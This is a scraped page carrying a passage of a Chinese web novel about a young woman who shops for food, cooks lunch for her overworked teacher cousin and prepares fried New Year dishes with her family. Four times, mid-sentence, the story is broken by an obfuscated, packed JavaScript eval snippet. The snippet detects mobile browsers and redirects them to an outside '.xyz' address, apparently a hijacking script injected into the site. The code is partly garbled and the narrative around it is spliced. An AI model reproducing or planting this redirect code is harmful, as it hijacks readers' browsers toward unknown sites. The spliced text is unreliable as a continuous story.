这家店其实还有咸豆浆，会加上榨菜紫菜虾米，如果可以接受咸豆浆的人，也可以试试咸豆浆加油条的组合，也不错。 另外还有豆腐脑，也不贵，而且量很足，如果要豆腐脑，老板就会先在碗里盛上几勺豆腐脑，再打开旁边的锅，是所谓的咸汤，可以单买，也可以和豆腐脑搭配在一起。 这个咸汤在宋鑫看来很像胡辣汤，不过没有那么胡辣汤的材料丰富，汤里也不加胡椒辣椒，但是有海带豆皮花生蛋花，恰好有人在买豆腐脑，老板往盛好的豆腐脑上加了两勺咸汤，接着听到老板问那个人，要不要辣椒和醋。 如果在这里吃不打包，还可以自己根据口味加调料。 老板也很有巧思，附近有学校嘛，就会有很多老师和学生，打包除了常规的塑料袋，还有一次性杯子，像奶茶那样可以封口的。 买咸汤或者豆腐脑也可以用杯子装，老板会给拿一个粗粗的吸管，保证能把里面所有东西吸上来。 别人怎么想宋鑫不知道，但是她自己的话，如果就在附近上班，应该会成为老板的常客，换成杯子老板也收打包费，还不怕撒出来，很是方便。 吃饱喝足身上暖烘烘的，宋鑫不想走远，就去旁边的小菜市场和超市里看看，有什么就吃什么。 结果进了菜市场，宋鑫看到一家的牛肉实在是好，忍不住买了三斤，她想着中午吃不完可以晚上吃嘛，又不是一天一顿饭，放冰箱里也坏不了。 接着往里走，排骨也不错啊，可以按照李谈的口味做个糖醋排骨，李谈尤爱酸甜口菜系，但是因为这个味道总被说小孩菜，他为了表示成熟，从来不主动点这一类的菜，但是吃的时候很能吃。 宋鑫很想告诉他，别装了，外人面前装一装就算了，大家都不熟，一家人还装什么，不是一起长大的，就是看着他长大的，他爱吃什么家里人能不知道嘛。 想着李谈死鸭子嘴硬的模样，宋鑫又买了几根排骨，排骨和牛肉提在手上都挺有分量的，她低头左右看看，暗暗警告自己，少买一点，两人份的量，两荤一素一汤就行了，主要是这两个荤菜量都不小。 牛肉很不错，但她不想炖着吃，想吃味道重一点的，于是在买黄瓜的时候，宋鑫又买了一点柿子椒，准备和牛肉一起做脆皮牛肉，这样中午一道菜李谈喜欢，一道她喜欢，公平合理。 宋鑫提着东西回到家里，万万没有想到自己连超市的大门都没有进去，就在菜市场完成了所有的采购，不怪她，只是菜市场的魅力太大，她一进去就忍不住买买买。 除了这些东西，她还买了一大袋年糕，谁能想到菜市场里有一家店专门在做年糕，现做现卖，买的人多的不得了。 宋鑫就是被人群吸引过去的，即使当时她手里已经提着买好的各种东西了，还是往人群里面看，店里正在做桂花糖年糕。 她刚挤进里面，就有一份蒸熟了，旁边的那个蒸笼还在往里一层层加粉，这边已经把蒸好的年糕取出倒在了桌子上，开始揣揉。 宋鑫还注意到这家店还可以真空包装邮寄，除了桂花口味的，旁边还有做好的红枣红糖味年糕，这个口味用油煎一煎有多好吃，宋鑫都不敢想。 另外还有杂粮类的，像紫薯、南瓜之类的口味，宋鑫目光一转，这是什么口味，她好像有点眼花，竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495473|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然还有小葱的，宋鑫对这个口味真感兴趣了，她要买点。 还有这个刚做好的桂花糖的，她买回去尝尝味道怎么样，如果好的话，等年后快递开工可以给她的同学还有同事寄过去尝一尝。 又等了一会儿，年糕终于揉好了，两面都被涂上了香油，说实话，这个香油也很香，宋鑫想买，她已经准备下次过来问问老板这个香油是在哪里买的了。 这个年糕在蒸的时候也撒了桂花，最后在表面也洒满了桂花，虽然是干桂花，但离得近的宋鑫依然闻到了很香的桂花味。 不等着冷却，她直接大手一挥，买了好几盒，再加上两袋小葱味的年糕，又是满满一袋子。 这个桂花糖年糕好香，在回家的路上宋鑫就一直闻到桂花的香气，袋子里还往外冒热气，宋鑫都不敢低头，怕自己一低头就忍不住在路边吃起来。 到家先把排骨泡上，因为回来的速度够快，桂花糖年糕还是热的，也不用再次加热了，宋鑫找出来一个好看的盘子，把切好的年糕摆在盘子里。 在切的时候她就开始吃了，果然很好吃，对得起她手上勒出来的红印，甜味不是很重，米香和桂花的香气更浓郁一些。 她想了想，找出之前买的白糖桂花，用小勺子取了一些洒在桂花糖年糕上面，又吃了一口，1+1>2，两个好吃的东西加在一起是宇宙无敌好吃。 不知不觉，宋鑫吃完了一整条年糕，后知后觉有点撑的她开始翻找消食片，一边嚼消食片，一边安慰自己，没关系的，等会儿做饭要动起来，就会把吃进去的东西消化了。 躺在沙发上看了一会儿电视，其实是撑得不想动了，等到她觉得时间差不多了，就起身去厨房，把排骨拿出来，用厨房纸吸干上面的水分。 排骨要炖，就先做这个，不用焯水，直接在锅里煸炒，直到排骨两面呈金黄色，水分全部炒出来，直接把调好的料汁和热水加进去，宋鑫还放了几片山楂，可以软化肉质，炖好的排骨不会发柴，不过也要注意时间，时间太长，肉该柴的还是柴。 当然，太短也不行，会咬不动，宋鑫以前刚学的时候就犯过这种错，最后一家人抱着排骨歪着头咬也吃不动。 陈皮牛肉要放在最后做，现在先做糖醋黄瓜，把黄瓜切成条去掉里面的瓤，调好的糖醋汁拌进去，就可以了，简单又开胃。 一边的灶台煮着排骨，已经煮沸了，传出咕噜咕噜的声音，宋鑫把火调小，接着准备炸腌好的牛肉片，牛肉呈金黄色的时候就好了，不需要复炸。 接着用底油把柿子椒稍微翻炒几下盛出来。 最后把花椒炒香，宋鑫很喜欢花椒炒香的味道，深吸一口气，把牛肉片和柿子椒倒进锅里，加上调料和水，炒匀烧开，脆皮牛肉就好了。 宋鑫忍不住先吃了一口，她一点不好意思都没有，厨子做饭试菜的事情，怎么能叫偷吃呢。 9. 醪糟鸡蛋汤 不愧是她，做的就是好吃。 等着糖醋排骨收汁的时候，宋鑫从冰箱拿出自己前两天刚做好的醪糟，打开之后忍不住先吃了一勺，好甜！ 自己做的好处在于可以把控甜度，她就喜欢甜甜的醪糟。 用一个小锅把水烧开，这个醪糟的甜度根本不需要加冰糖，非常完美，宋鑫做醪糟蛋汤的时候脑子里只有对自己的赞美。 能做出这么好吃的醪糟，她可真厉害。 嘴上哼着小曲，接着往锅里加入鸡蛋液，勾芡结束之后又撒了几粒枸杞进行点缀，完美！ 糖醋排骨也收汁成功，宋鑫努力装进保温桶里，她家里有一个大大的保温桶，是她高三的时候李女士为了给她送饭买的，也不知道她是在哪里买的，一直到现在，质量都特别好。 把这个保温桶塞的满满当当，醪糟鸡蛋汤用另一个小一点的保温桶装着，主食就是花卷，还有最后几个，宋鑫热了一下，全打包带过去。 除了这些，她又把冰箱里的小咸菜都翻找出来，用瓶子分装出来一部分，还把晒的萝卜干找了出来，用调料拌好装了满满一密封袋。 这些不好放，宋鑫还专门找了一个大盒子装着，给李谈带过去都要小心一点。 她马上就要开始炸年货了，这些小菜李谈也喜欢，她也能清一清冰箱为之后做准备，趁着明后两天是周末，父母可以在家帮忙。 李谈现在工作的学校也是宋鑫的母校，附近的学校，这所高中是离宋鑫家最远的一个，但教学实力很强，李谈能进去也是准备了好久的考试。 虽然已经过去了好几年，但是学校中午放学的时间还是那个点，宋鑫一点儿都没有记错，高中留下的印象真的很深了。 如果现在不是快过年了，学校里只有高三的学生，宋鑫只会把饭交给李谈，自己就离开，根本不会进学校里面，和李谈一起吃饭。 宋鑫是打车过来的，抱着一堆东西在门口等了十分钟才见到李谈，她原本想要抱怨两句，等李谈一走近，什么抱怨的话也说不出来了。 李谈现在就像被吸血鬼吸干了精气，重重的黑眼圈挂在眼下，精神萎靡。 “不是，哥，你这怎么了，失恋了？”宋鑫语气怀疑。 李谈翻了个白眼，“我失哪门子的恋，我有时间去恋吗我，妹啊，我终于明白了为什么当年我们高三老师一年瘦了二十斤，太辛苦了。” 接下来的路上，根本不用宋鑫接话，李谈就把所有的事情说完了，他就比宋鑫大两岁，去年才来到这个学校，顺理成章从高一开始带班上课。 按照正常时间线，他现在应该已经随着高二放假了，可是现在不就是不正常吗，高三的一个老师因为突然生病住院了。 领导看了看，李谈一不是班主任，人还年轻有精力，二呢，他这一年半的课上的非常好，班级里的成绩都数一数二的，就让他在年前来顶替那个老师上一段时间课。 那个老师也把自己的笔记和备课本什么的都给李谈了，还和他说了进度，但这些事关键吗，关键是李谈没有当过班主任啊。 是的，那个生病的老师是班主任。 听到这里，宋鑫默默在心里为李谈点蜡，真可怜。 “你都不知道我最近一边要备课，一边要晚睡早起，睡得比狗晚，起的比鸡早，说的就是我啊！”李谈抓狂。 因为学生都去吃饭了，路上也没什么人，李谈声音大了起来。 “这个盒子里都是下饭小菜，你看看要不要先放在办公室。”等李谈的情绪慢慢平静下来，宋鑫指着李谈怀里的盒子和他说。 都说出来，李谈的情绪也好了很多，又恢复了那个乐天派的性格，主要是他也不好意思和父母说，都这么大人了，也不想让老人跟着操心。 朋友也都很忙，要是之前，他也不会和宋鑫说，因为宋鑫工作也很累，两个人凑在一起说起这些，当晚的怨气就可以把地球炸飞。 现在宋鑫辞职在家，整个人状态好起来了，都有心情给他送餐，李谈才说起这些。 “还得是你心疼我啊，这个放到办公室吧，拿着去食堂不方便。”李谈带着宋鑫朝办公室走去，好巧，这个办公室宋鑫也很熟悉。 她高三来了无数次的数学办公室。 宋鑫本以为这个点办公室已经没人了，就跟着李谈进去了，李谈也以为办公室里的老师都去吃饭了。 等她们进去之后才发现，里面还坐着一个老师。 巧了不是，这位老师就是宋鑫高三常来办公室的原因，也是带过她三年的赵老师。 宋鑫惊讶，她去年过年去看望赵老师的时候，赵老师明明已经办理退休了，还没等她把疑问说出口，李谈就给双方介绍了。 “赵老师，这是我妹妹，今天过来给我送点东西的。” 又看向宋鑫，“鑫鑫，这是赵老师，是学校特意返聘回来的，特别有教学经验的一位好老师。” 宋鑫看着李谈，尴尬的脚趾抠地，“那个，赵老师就是我高中时候的数学老师。” 接着又和赵老师打了个招呼，“老师好，没想到您也在这，我还想着过几天去您家里拜年呢。” 赵老师站起身，笑眯眯地说，“你也好啊，提前回家过年了，我去吃饭，你们慢慢聊。” 宋鑫也不知道怎么解释，想了想说道，“算是吧。” 神奇的回答，李谈都要笑出来了。 把东西放好，他和宋鑫一起去了食堂，学校食堂的伙食还是不错的，不过最近可能是因为大部分学生都放假了，只剩下几个食堂窗口了。 吃的种类有限，大厨也越来越敷衍，教师食堂也是一样的，在李谈看来，教师食堂的饭菜还不如学生食堂的呢。 可能是因为便宜没好货，他们老师在教师食堂吃饭很便宜，中午只要三块钱就能保证有荤有素有水果，管饱还有营养，缺点是味道实在一般，李谈觉得如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495474|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果自己每天都在教师食堂吃饭，那么自己就可以实现一个月瘦十斤的计划了，少油少盐减脂餐，简直了。 李谈是经常去学生食堂吃饭的，相比较于教师食堂，学生是同样的味道要好上许多。 不过今天是和宋鑫一起，也不用打饭，李谈就带着宋鑫去了教师食堂。 “这还是我第一次来到学校的教师食堂，一直都是只闻其名，终于见到庐山真面目了。”宋鑫调侃李谈，“沾了你的光啊。” “可别。”李谈制止越来越浮夸的宋鑫，“你吃了就知道了，如果你哪天准备减脂健身，我可以把我们的菜单给你拍下来作参考。” 李谈一直怀疑定下教师食堂菜单的人是个健身大佬，要不然每天的菜不会这么丰富健康又让人食欲全无。 宋鑫在一旁偷笑不说话。 对于教师食堂数年如一日的清淡菜色宋鑫学生时代就有所耳闻了，当年就有很多老师天天只吃学生食堂，根本不会跨进教师食堂的门。 流传出来的官方解释是为了保证老师的健康，清淡饮食，学生食堂味道足是因为学生还在长身体，宋鑫也是服了，不能说不对，只能说领导高兴就好。 虽然有心理准备，但跟着李谈进去，看见稀稀拉拉的几个人，宋鑫还是很震惊，这么多年了，学校领导真不觉得教师食堂要改善吗。 就非常离谱。 等李谈把保温桶打开，那一瞬间，随着蒸腾出来的热气，他都觉得眼前的菜在发光，把菜摆好，他就开动了。 不出宋鑫所料，他第一筷子就是糖醋排骨，宋鑫喝了一口醪糟鸡蛋汤，刚咽下去，就听到对面传来李谈离谱的话语。 “你能承包学校食堂吗？”李谈非常严肃，他觉得自己在为自己后半生的幸福考虑。 宋鑫翻了个白眼，先不说学校食堂承包的弯弯绕绕，她也没有足够的钱来承包啊，再说，学校食堂还要收人管束。 “停止做梦，好好吃饭。”宋鑫吃了一片脆皮牛肉。 李谈有些失落，他也觉得自己刚才说的话有点离谱，还好食堂人少，他们身边没有人，也就没人听到他刚刚说的话，要知道，他偶尔也会来教师食堂吃饭呢，要是被食堂工作人员听到了，他不敢想那个场面。 太吓人了，再吃一块排骨压压惊。 这个牛肉也好吃，李谈开始大吃特吃，他还用花卷夹着脱骨的糖醋排骨，又盖上一层脆皮牛肉，两种肉中间加了两块黄瓜。 几种味道一起在口中绽放，竟然很和谐，没有味道上的冲突。 看李谈吃的这么香，宋鑫本来不太饿，也跟着吃了好多，最后实在吃不下了，打了个饱嗝，她摆摆手，“你吃吧，我吃饱了。” 李谈看了她一眼，继续吃起来，吃到最后，竟然只剩下一点牛肉，两个花卷，宋鑫一抱拳，“在下佩服，你是不是饿了三天。” 李谈根本不想和宋鑫说这个，他觉得宋鑫就是在凡尔赛。 10. 炸麻叶 她这种每天都吃的好的人怎么懂他的痛苦，现在好多外卖也停了，他天天早出晚归，根本没有时间出去觅食。 既然接手了这个班，他就要为这些学生负责，天天可忙了。 教师食堂一直保持着这个水准，学生食堂最近也吃不下了，他可不饿嘛。 又饿又馋又累。 “没事没事，马上就要放假了，你很快就可以解放了。”宋鑫安慰他。 李谈想想也是，那位老师的身体在年后应该就能恢复了，到时候他就可以回到高二了，虽然再过半年还是避免不了带高三。 但至少不用当班主任，太辛苦了。 得到安慰的李谈打了鸡血一样把保温桶洗刷干净。 宋鑫回到家才发现，李谈连保温桶上的水珠都擦干了，很好，下次还可以给他送饭，宋鑫心满意足的把保温桶都放好。 一整个下午就在家里列单子，明天周六，她要带上宋志明李云华一起去菜市场来一场超级大采购，今年她要夺回属于自己的一切，把家里的年货都包了。 和王意聊完，宋鑫好好思考之后，和宋志明李云华也认真聊过摆摊的事情，她们很支持，还表示可以投资。 她们并不觉得宋鑫读了一个好大学出来去摆摊很丢脸，只要是宋鑫喜欢的就好，如果可以坚持下去，那说明宋鑫现在可以把爱好当做职业，并且仍然很喜欢，这是一件好事。 如果做过之后发现不合适，那也没关系，人生就在于多多尝试，才能知道什么适合自己。 宋鑫越思考越觉得王意的建议很不错，她又喜欢吃又喜欢做，也喜欢投喂别人，然后接收到许多彩虹屁，真的很让她开心。 她在前公司和同事关系变好的关键就是带了自己做的糕点，工作压力一大，宋鑫下班回到出租屋已经很累了，仍然会选择给自己做一顿丰盛的饭菜，这是属于她的一种特殊解压方式。 深入沟通之后，宋鑫就去□□去了，等证件出来要等过完年大家恢复上班了，再加上她还需要买专门的车子，也要到年后再买，现在很多店都休息了。 宋鑫列好单子又睡了一觉，在家里好舒服，外面北风吹着，家里暖气开着，从冰箱里摸出一根雪糕，这样的日子宋鑫可以一直过下去。 想想上个月的自己，人生最怕对比呐~ 晚上吃完饭，宋鑫通知躺在沙发上看电视的夫妻俩明天的安排，上午去采购食材，下午做好各种准备，该腌制的提前腌好，该切片切块的都提前做好。 后天的主线任务就是各种炸。 宋鑫说完，宋志明向她行了个礼，“保证完成任务！”李云华也表示没有问题，不过过了一会儿，李云华面露难色地看着宋鑫。 宋鑫警觉，“李女士，你不会明天需要加班吧。” 这话一出，宋志明也慢慢坐起身，看着李云华，少一个人就是少一个劳动力，即使是亲夫妻也不可以这样哇！ 李云华连忙解释，“不会，怎么可能，我早就和大家说好了，这个周末我必不可能去单位加班，要在家里准备年货呢。” 前面的话可以理解，后面的就是李女士夹带私货在单位炫耀女儿了，但没有想到，这一炫耀，竟然还引来了一件意想不到的事情。 以前宋鑫也会在过年之前准备一些东西，但是因为一直在上学，家里觉得还是小孩，都不会让她做太多，当然，现在也不想让她做太多，宋鑫自己提出既然以后想要摆摊，做的肯定会更多，相当于提前适应了。 其实真相是宋鑫很喜欢的一家炸货店关门了，那家的老式炸鸡块和炸排骨，吃完之后晚上梦里都是那个香味。 关门的原因倒是不稀奇，炸货店一直是老两口在经营，平时也挺挣钱的，但是她们的孩子也是孝顺的，觉得父母辛苦了这么多年，要好好享享清福。 就一直劝着父母关门，之前没有劝动，现在她们年龄也确实大了，天天烟熏火燎也遭不住了，这才同意不干了，宋鑫知道也是表示祝福，嘴上说着是要好好歇歇，但是心里的小人泪流满面，她的快乐啊。 小时候最快乐的事情就是拿着刚到手的零花钱，来炸货店买上两块炸排骨，再加几块炸鸡肉，老板看是小孩子，还会搭上一点炸的土豆条红薯条。 对于生活在这附近的小孩子，午后悠闲的时光，穿着暖和坐在太阳下，细细品味手里的美味，零花钱富裕的小孩吃完再来上一瓶汽水，天呐，小孩子怎么可以这么幸福！ 即使长大了，宋鑫寒假回家也要光顾那家店的，就是暑假因为天气越来越热，炸货店就不营业啦。 今年这种情况，宋鑫就决定自己动手了，自己动手丰衣足食嘛，她要炸多多的鸡肉，还要炸春卷，甜的咸的都要炸！ 另外还有素丸子、藕夹、鱼块、大虾、酥肉等等，这些炸货都很好吃的，还要炸各种豆制品，有的用来炖菜或者下火锅，但是像豆扣、素鸡翅之类的，吃法就很多样了。 炸完之后用调料一拌，能够打败市面上百分之九十九的辣条，还可以按照自己的口味去调配，喜欢咸辣的就多一点盐，喜欢甜辣的就加糖。 想到这个味道，宋鑫就要流口水，暗自决定炸完年货不仅要做一罐辣椒油，还要好好拌上一盆辣条。 “鑫鑫，你在听吗？”李云华看着宋鑫人虽然还坐在那里，可是眼神飘忽，开口问道。 “啊，是好吃的。”宋鑫下意识回答，等反应过来说了什么之后，宋志明和李云华已经笑了起来，她也不尴尬，把拌辣条的味道好好形容了一下。 之前宋鑫就在家里做过这个，她只要稍微提一下，宋志明和李云华就会自动回忆起这个味道，俩人也不笑了，从一个人犯馋变成了一家人犯馋。 宋鑫想起李云华的话，问她刚刚说了什么。 李云华又重复了一遍，“嗐，还不是你周阿姨，听到我们家要炸年货，就知道是你做主厨。”宋鑫知道周阿姨，是李云华的好朋友。 “她老家不在这边，去年她妈妈去世了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495475|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她说想起她妈妈，就想起以前她妈妈做的炸麻叶，问我你会不会做，她花钱请你做，钱都转过来了。” 李云华给宋鑫看聊天记录，钱她没有收，这个请求她也不太想拒绝，但是做的人不是她，她也不会随意应承下来。 宋鑫一口答应下来，周阿姨是个很好的人，以前父母都不凑巧的时候，周阿姨还会接她放学，带她去吃好吃的，炸个麻叶而已，不是什么事情啦，不用红包的，宋鑫答应下来，李云华就和周阿姨说好了。 看到自己发的红包李云华没有收，周阿姨决定今年宋鑫来拜年的时候给她包个大红包，她是真的很想念母亲做的炸麻叶，可是这边吃的人很少，她自己也不会做，要不然也不会来麻烦宋鑫一个小孩子。 宋鑫就在自己的炸货清单上加上炸麻叶，这个做起来不是很麻烦，而且需要的材料也很少，主要是面粉和芝麻，家里都有，以前宋鑫也做过一次，周阿姨就是那时候吃到的。 虽然和周阿姨母亲做的味道不完全一样，可是很好吃，一口下去就让她想起了相隔千里的家和母亲。 炸麻叶要好吃，主要是火候，火候到位，炸好的麻叶就是金色的，吃起来酥脆可口，上面点缀的芝麻增加了香味的层次，有甜咸两种口味。 宋鑫决定两种都做一些，到时候都给周阿姨拿一份。 不过现在最重要的事情是赶紧睡觉，明天都要早起的！ 宋鑫催着父母回去睡觉，自己也赶紧躺在了床上，嘿嘿，有点睡不着，第一次做这么多东西，有点小激动。 宋鑫强迫自己冷静下来，开始数羊，数着数着就变成了一个鸡腿，两块排骨，三根烤肠…… 这样数数的结果就是越来越饿，可是都刷完牙躺床上了，宋鑫真的不想再起来了，想一想，吃完之后还要刷牙。 可是真的好饿，好馋啊，她现在就想吃点热乎乎的东西。 宋鑫毅然决然地起来了，不行了，她还是要吃点东西再睡！ 馋和饿最终还是打败了懒！ 吃什么她早就想好了，煎一条年糕，再煎一个鸡蛋。 年糕就吃之前买的那个小葱味道的，煎好之后宋鑫先空口吃了一块，嗯？味道竟然意外的不错，和她很喜欢的香葱饼干的味道有点像，但又不完全一样。 她又把剩下的刷上甜辣酱，味道完美融合，好吃，宋鑫吃着吃着才想起自己还没有煎鸡蛋。 唉，她真的不想大半夜的给自己加餐，都怪刚刚刷到的一个煎蛋视频，那个煎蛋有点焦脆的边缘太馋人了。 煎蛋就要吃在炒锅里多加一点油煎出来的，不规则的形状，焦脆的外壳，嫩嫩的蛋清，蛋黄在煎的时候要戳破，吃起来又是另外一种味道。 要不是现在太晚了，怕吃多了不消化，这种煎蛋，宋鑫轻轻松松吃三个。 宋鑫刚把最后一口煎蛋放进嘴里，就看到厨房门口探出了两个脑袋，宋志明和李云华幽幽地看着她，好像她做了什么让人天怒人怨的事情。 11. 虾仁生炒面 虽然自己吃夜宵确实没有喊她们，但那不是以为她们两个先睡了嘛，自己这是为她们的睡眠着想，宋鑫逐渐变得理直气壮。 不过还是给宋志明李云华煎了鸡蛋，还煎了年糕，宋志明和李云华吃的心满意足，主动承担了后续处理的工作，宋鑫煎好就去重新洗漱了。 这次再躺下，很快就睡着了。 到了菜市场，她们兵分三路开始疯狂采购，宋志明和李云华虽然做菜水平一般，但是辨认一下食材还是可以的，一部分食材交给她们，宋鑫也很放心。 宋鑫先去买鸡，她这次需要买很多鸡肉，除了要炸鸡肉块以外，还要做香酥油鸡，想起香酥油鸡的滋味，宋鑫忍不住摸了下嘴角，眼泪要从嘴角流出来了。 香酥油鸡是先蒸后炸，皮上基本没有脂肪还脆脆的，里面的鸡肉又很软烂，想起香酥油鸡的味道，本来只准备买两只整鸡的宋鑫决定多买几只，还可以给年夜饭加道菜，到时候复烤一下也很美味。 就这样，只是一个鸡肉，宋鑫两只手上各拎上了一个大袋子，后面还要买东西，无法负重前行，只能原路返回，把鸡肉放到车上，再返回菜市场继续采购。 同时在属于自己的清单上面把鸡肉划掉。 三个人同时行动还是很快的，九点多就在菜市场买齐了大部分食材，各种豆制品昨天已经和姐妹花豆制品批发店的小吴老板订好了，等会儿直接开车去拿。 “现在我们还差一点藕。”李云华指着单子说道，菜市场里不是没有藕，不知道她们今天是不是运气不好，品质好一点的脆藕数量很少，等轮到李云华买的时候更是只剩下一点点了，饶是她把剩下的全都包圆了，还是不太够。 她们不仅要炸藕夹，还要炸藕盒，需要的量不少。 宋鑫看了看藕的数量，想了想，“没事儿，大不了就多炸点茄盒，少炸点藕盒，茄盒也很好吃。” 宋志明也附和宋鑫，李云华无奈点头，只能这样了，主要还是回家之后还有事情要做，不能把时间都花在买藕上面。 谁知道就在她们都接受这个现实之后，出了菜市场没多远，就看到路边有人摆摊卖藕，那个藕的质量甚至比她们在菜市场买的还好，上面还裹着新鲜的泥巴。 下车一看，果然是刚挖出来的藕，老板掰下来了一截，横截面很好的展示了藕断丝连的字面意思，听老板掰藕的声音很脆。 一瞬间，宋鑫已经想出了无数种脆藕的吃法，马上走到后面排队等着买藕。 识货的不只她一个人，老板面前早就排起了长队，宋鑫一边跟着队伍向前移动，一边听着老板和其他顾客的对话。 “老板你怎么不去菜市场里面，那边人流量可比这边大。”看样子这位顾客和宋鑫一样，也是刚从菜市场里出来的，手里还提着其他东西呢。 老板不好意思地笑了笑，说话却很爽利，“菜市场要交摊位费，我们的藕也不是很多，卖的时间也不长，不划算。” “这倒也是，只要老板你的质量好，在哪儿都能卖完。” “是啊，闺女你明天还来这里吗，我明天把我儿子喊上，快过年了多买一点。”大妈的手里也提满了东西，看样子今天买不了很多还有点心急，生怕老板明天不来了。 老板还是很麻利的一边给前面的顾客称藕算钱，一边回答其他人的话，“来，明天还是差不多的点过来这个地方。” 其实要是一个地方好卖，老板也不想天天跑新地方，有老顾客的地方肯定会卖的更快。 很快就到了宋鑫，剩的藕也不是很多了，加上她后面也没有人排队，她就很愉快的把剩下的藕包圆了，老板姐姐也很开心，家里还有孩子呢，外面还这么冷，早卖完早回家。 宋鑫刚提着装好的藕准备离开，不远处就跑来一个人，“还有没有藕？”跑到老板身边气喘吁吁地问道。 老板摇了摇头，示意刚刚已经卖完了，这个顾客她认识，昨天也来了，不过买的不多。 那个人后悔不已，他昨天买了两根藕，吃饭的时候老婆都夸他这个藕买的好，平平无奇的炒藕片格外好吃，今天他刚看到老板，就赶紧跑过来了，结果藕还是卖完了。 宋鑫看着这人一下子就变得垂头丧气，忍不住开口，“你要的多吗，要是不多我可以匀给你两根。” 男人马上抬起头，疯狂摇头，“不多不多，我要两根就行了，主要是我老婆怀孕了，最近什么都吃不下，只有老板家的藕她吃起来没有怪味，可以多吃一点。” 宋鑫听完男人的话，又拿出来了两根藕，男人赶紧摆手，“两根就够今天吃的了，明天我早早过来等着，老板明天还来吧。” 老板在一旁点头，“明天还来，大概九点左右到这里。” 把男人给的钱装进口袋里，宋鑫和老板道别之后带着自己的战利品回到了车上，宋志明去旁边买糖炒栗子去了，他在等最新的一锅。 刚坐好，就看到群里李云华的消息，问宋鑫要吃什么，她在买包子，她们今天连早饭都没吃，在菜市场也来不及吃东西，只想着赶紧把东西都买好。 要是不问还好，一问宋鑫就觉得肚子在响，好饿。 她想吃炒面，就在这附近有一家炒面做的特别好吃，只思考了一秒，宋鑫又从车上下来了，她在群里说了一声就去买炒面了。 群里的宋志明和李云华马上说她们也要一份炒面，一个要吃什锦软炒面，一个要肉丝焦炒面，都是会吃的，宋鑫回了个好的表情，就去买炒面了。 到了店里点好单，她没有坐在座位上等着，而是隔着玻璃看老板熟练的炒面，老板先做的是她点的虾仁生炒面，也是这家店的招牌。 准确的说，这家店的炒面就没有不好吃的。 虾仁生炒面用的是玉米面条，老板先炒腌好的虾仁，虾仁个头都很大，而且很新鲜，一看就是早上现买现剥的。 炒好虾仁老板紧接着就炒配菜，还加了高汤煮开，炒面的时候等把玉米面条煎到金黄就可以倒入刚刚煮好的菜汤。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495476|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 老板在用小火焖煮汤汁的时候，又拿了个锅开始做什锦软炒面，很快，三份炒面就摆在了宋鑫面前。 回到家里，一家人很默契的先吃起了各自的炒面。 宋志明还一副认真模样地说道，“不快点吃这个面就冷了，再加热都没有这么好吃，我们尽快吃才能不浪费老板的手艺。” 李云华和宋鑫点头赞同，也不说话，大口吃着自己的炒面。 就是这个味道，好久没有吃了，再次吃到宋鑫都要流眼泪了，这家店最早还是她先发现的，是她高中非常喜欢的一家店，老板看是学生还会多多放料，加面。 这次隔了很久再吃，宋鑫发现自己的记忆并没有美化炒面的味道，本来就很好吃，以前好吃，现在也好吃。 吃完炒面，一家人很快就开始收拾起食材，该削皮切片的、该切条的、该打花刀的，还有大虾要去虾线等等，一家人忙的团团转。 很快，楼下的外援就来了，很神奇，认识没有很长时间，王意和宋鑫成为了相当聊得来的朋友，当王意得知宋鑫要炸年货之后，第一反应就是请求宋鑫卖给自己一点，接着就要来帮忙。 宋鑫本来想送给她一些，王意不同意，她和宋鑫说的时候一本正经，“我要是只自己吃一点点就算了，可这是我要带回家的，要表现我的孝心呀~” 总之，宋鑫和王意约好了一个时间让王意来帮忙，现在王意也到了。 王意一进门就被震撼到了，即使宋鑫家里的厨房很大，但是这么多东西显然不能全都堆在厨房，还有的在客厅。 她朝宋鑫竖了个大拇指，“你这是准备做多少啊。” 宋鑫不好意思地笑了，乍一看确实有点多啦，虽然实际上也很多。 四个人分好工，王意负责切土豆、红薯和藕条，她以前是不怎么会做饭的，更不用说切菜之类，可以切出粗细长短相差巨多的土豆条，但是现在不一样了，要不说工作让人成长呢。 